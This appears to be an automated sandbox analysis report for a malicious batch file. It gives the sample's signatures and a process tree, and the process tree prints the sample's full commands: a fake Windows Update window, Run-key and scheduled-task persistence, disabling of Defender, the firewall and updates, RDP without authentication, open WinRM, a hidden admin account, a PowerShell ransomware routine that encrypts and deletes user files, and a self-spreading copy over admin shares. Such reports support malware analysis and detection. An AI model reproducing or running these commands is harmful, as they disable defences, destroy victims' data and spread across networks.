Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 11:56

General

  • Target
    malware3.bat
  • Size 7KB
  • Sample260701-n4b8maft2w
  • SHA256 8d656ed4ebcfad3c338d0943a9fc3afb0e252e54217e4b571808eddcb699c515
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Run Powershell and hide display window.

  • Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs

    Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

  • Adds Run key to start application 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\malware3.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5720
    • C:\Windows\system32\attrib.exe
      attrib +h +s +r "C:\Users\Admin\AppData\Local\Temp\malware3.bat"
      2⤵
      • Views/modifies file attributes
      PID:6040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;[System.Windows.Forms.Application]::EnableVisualStyles();\$form = New-Object System.Windows.Forms.Form;$form.Text = 'Windows Update';$form.Size = New-Object System.Drawing.Size(400,200);\$label = New-Object System.Windows.Forms.Label;\$label.Text = 'Installing security updates...';$label.AutoSize = $true;\$label.Location = New-Object System.Drawing.Point(50,50);\$progress = New-Object System.Windows.Forms.ProgressBar;$progress.Style = 'Continuous';$progress.Location = New-Object System.Drawing.Point(50,80);\$progress.Size = New-Object System.Drawing.Size(300,20);\$form.Controls.AddRange(@(\$label,\$progress));\$form.Show();for($i=0;$i -le 100;$i+=5){$progress.Value = $i;Start-Sleep -Milliseconds 200};$form.Close()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6004
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsUpdateService' -Value 'C:\Users\Admin\AppData\Local\Temp\winsvc.exe' -PropertyType String -Force;New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemUpdate' -Value 'C:\Users\Admin\AppData\Local\Temp\update.bat' -PropertyType String -Force;New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce' -Name 'SystemRepair' -Value 'C:\Users\Admin\AppData\Local\Temp\repair.bat' -PropertyType String -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Register-WmiEvent -Query 'SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA ''Win32_Process'' AND TargetInstance.Name = ''explorer.exe''' -Action {Start-Process 'C:\Users\Admin\AppData\Local\Temp\update.bat' -WindowStyle Hidden}"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "New-Item -Path 'HKLM:\Software\Policies\Microsoft\Windows Defender' -Force;New-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows Defender' -Name 'DisableAntiSpyware' -Value 1 -PropertyType DWord -Force;New-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows Defender' -Name 'DisableRealtimeMonitoring' -Value 1 -PropertyType DWord -Force;New-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableBehaviorMonitoring' -Value 1 -PropertyType DWord -Force;New-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableBlockAtFirstSeen' -Value 1 -PropertyType DWord -Force;New-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableIOAVProtection' -Value 1 -PropertyType DWord -Force;New-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableOnAccessProtection' -Value 1 -PropertyType DWord -Force;New-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableScanOnRealtimeEnable' -Value 1 -PropertyType DWord -Force"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Stop-Service -Name 'WinDefend' -Force;Set-Service -Name 'WinDefend' -StartupType Disabled;Stop-Service -Name 'wuauserv' -Force;Set-Service -Name 'wuauserv' -StartupType Disabled;Stop-Service -Name 'BITS' -Force;Set-Service -Name 'BITS' -StartupType Disabled;Stop-Service -Name 'SecurityHealthService' -Force;Set-Service -Name 'SecurityHealthService' -StartupType Disabled"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;New-NetFirewallRule -DisplayName 'Allow RDP' -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Allow;New-NetFirewallRule -DisplayName 'Allow SMB' -Direction Inbound -Protocol TCP -LocalPort 445 -Action Allow"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "New-Item -Path 'HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU' -Force;New-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU' -Name 'NoAutoUpdate' -Value 1 -PropertyType DWord -Force;New-ItemProperty -Path 'HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU' -Name 'AUOptions' -Value 1 -PropertyType DWord -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Enable-PSRemoting -Force;Set-Item WSMan:\localhost\Client\TrustedHosts * -Force;Set-Service -Name 'WinRM' -StartupType Automatic;Start-Service -Name 'WinRM'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:2140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "net user /add adminx Password123\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' -Name 'adminx' -Value 0 -PropertyType DWord -Force"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:6536
    • C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdateService" /tr "C:\Users\Admin\AppData\Local\Temp\update.bat" /sc onlogon /ru SYSTEM /rl HIGHEST /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1644
    • C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemMaintenance" /tr "C:\Users\Admin\AppData\Local\Temp\security.bat" /sc daily /st 09:00 /ru SYSTEM /rl HIGHEST /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:3200
    • C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d "0" /f
      2⤵
        PID:4332
      • C:\Windows\system32\reg.exe
        reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d "1" /f
        2⤵
          PID:6900
        • C:\Windows\system32\reg.exe
          reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d "0" /f
          2⤵
            PID:6284
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "Function Invoke-WannaCry{$key='00000000000000000000000000000000';$iv='0000000000000000';\$files=@('*.doc','*.docx','*.xls','*.xlsx','*.ppt','*.pptx','*.txt','*.jpg','*.jpeg','*.png','*.gif','*.bmp','*.pdf','*.zip','*.rar','*.7z','*.mp3','*.mp4','*.avi','*.mov','*.sql','*.db');$drives=Get-PSDrive -PSProvider FileSystem;foreach($drive in $drives){Get-ChildItem -Path $drive.Root -Recurse -Include $files -ErrorAction SilentlyContinue|ForEach-Object{try{$content=[System.IO.File]::ReadAllBytes($_.FullName);$aes=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$aes.Key=[System.Text.Encoding]::ASCII.GetBytes($key);$aes.IV=[System.Text.Encoding]::ASCII.GetBytes($iv);$encryptor=$aes.CreateEncryptor();$output=[System.IO.File]::Create($_.FullName+'.WCRY');$cryptoStream=New-Object System.Security.Cryptography.CryptoStream($output,$encryptor,[System.Security.Cryptography.CryptoStreamMode]::Write);$cryptoStream.Write(\$content,0,\$content.Length);\$cryptoStream.FlushFinalBlock();\$cryptoStream.Close();$output.Close();[System.IO.File]::Delete($_.FullName)}catch{}}};Invoke-WannaCry"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:7104
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "Function Spread-WannaCry{$networks=@('192.168.1','192.168.0','10.0.0','172.16.0');foreach($network in $networks){for($i=1;\$i -le 254;$i++){$target=\$network+'.'+\$i;if(Test-Connection -ComputerName $target -Count 1 -Quiet -ErrorAction SilentlyContinue){try{net use \\$target\C$ /user:administrator '' 2>\$null;if($?){copy 'C:\Users\Admin\AppData\Local\Temp\update.bat' '\\$target\C$\Users\Public\update.bat';schtasks /s $target /create /tn 'WindowsUpdate' /tr 'C:\Users\Public\update.bat' /sc onlogon /ru SYSTEM /f 2>$null;net use \\$target\C$ /delete 2>$null}}catch{}}}}};Spread-WannaCry"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Indicator Removal: Network Share Connection Removal
            • Suspicious behavior: EnumeratesProcesses
            PID:2868
        • C:\Windows\system32\wbem\unsecapp.exe
          C:\Windows\system32\wbem\unsecapp.exe -Embedding
          1⤵
            PID:3152
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k NetworkService -p -s WinRM
            1⤵
              PID:3356

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 01d025b53c759958ee99b5e9b299371d6df64536975eede2761557b5cf58b8bf
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 948B
                  • SHA256 7993baf175f74298110ac0652b31b9e32a6f7c3e2dc497adaf7ec7ef502303b1
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 952B
                  • SHA256 5caa9b3d56f6359d49f47c4cca0ec2d1b515fe4651b2556666f2e2ff1c8ad897
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 952B
                  • SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 1644a8734b1a870853c20608b2c652c71a46e3cce6318ad116a4f9159a76d282
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 5138634addb304031f37a2cc003ecd712607b5a912fdb61da12976fb330b775c
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 1ea21eff90152bb4045b178adb817c339676d3bd02b4cd6c24fbaa1599e89d5a
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 648c23e4801ef113468baded8b68fb225d0cf3e554adc339e3d5393b9b0a71a5
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 ec04ca2b93b452104d42645bc1df75421bb1e008ed2ef9eff510d1bf3cb09696
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 84e9ba6fbc8dbd2e9fdcbcee828d515933b66f71244b69781ddc8da78be5ec18
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_gf303avi.ol2.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gf303avi.ol2.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  memory/1760-27-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/1760-24-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/1760-25-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/1760-26-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/1760-22-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/1760-28-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/1760-16-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/1760-30-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/1760-31-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/1760-33-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/1760-34-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/2140-100-0x00000141B3C70000-0x00000141B3D22000-memory.dmp

                  memory/6004-15-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/6004-12-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/6004-14-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/6004-3-0x00000155EF3D0000-0x00000155EF3F2000-memory.dmp

                  memory/6004-0-0x00007FFF86E9F000-0x00007FFF86EA0000-memory.dmp

                  memory/6004-7-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/6004-9-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/6004-10-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/6004-11-0x00007FFF86D10000-0x00007FFF876B4000-memory.dmp

                  memory/6072-73-0x0000014D7F970000-0x0000014D7FA22000-memory.dmp

                  memory/6072-77-0x0000014D7FA70000-0x0000014D7FA8A000-memory.dmp

                  memory/6072-76-0x0000014D7F940000-0x0000014D7F94E000-memory.dmp

                  memory/6072-75-0x0000014D7FA50000-0x0000014D7FA6E000-memory.dmp

                  memory/6072-74-0x0000014D7F930000-0x0000014D7F93A000-memory.dmp

                  memory/6072-72-0x0000014D7F950000-0x0000014D7F96E000-memory.dmp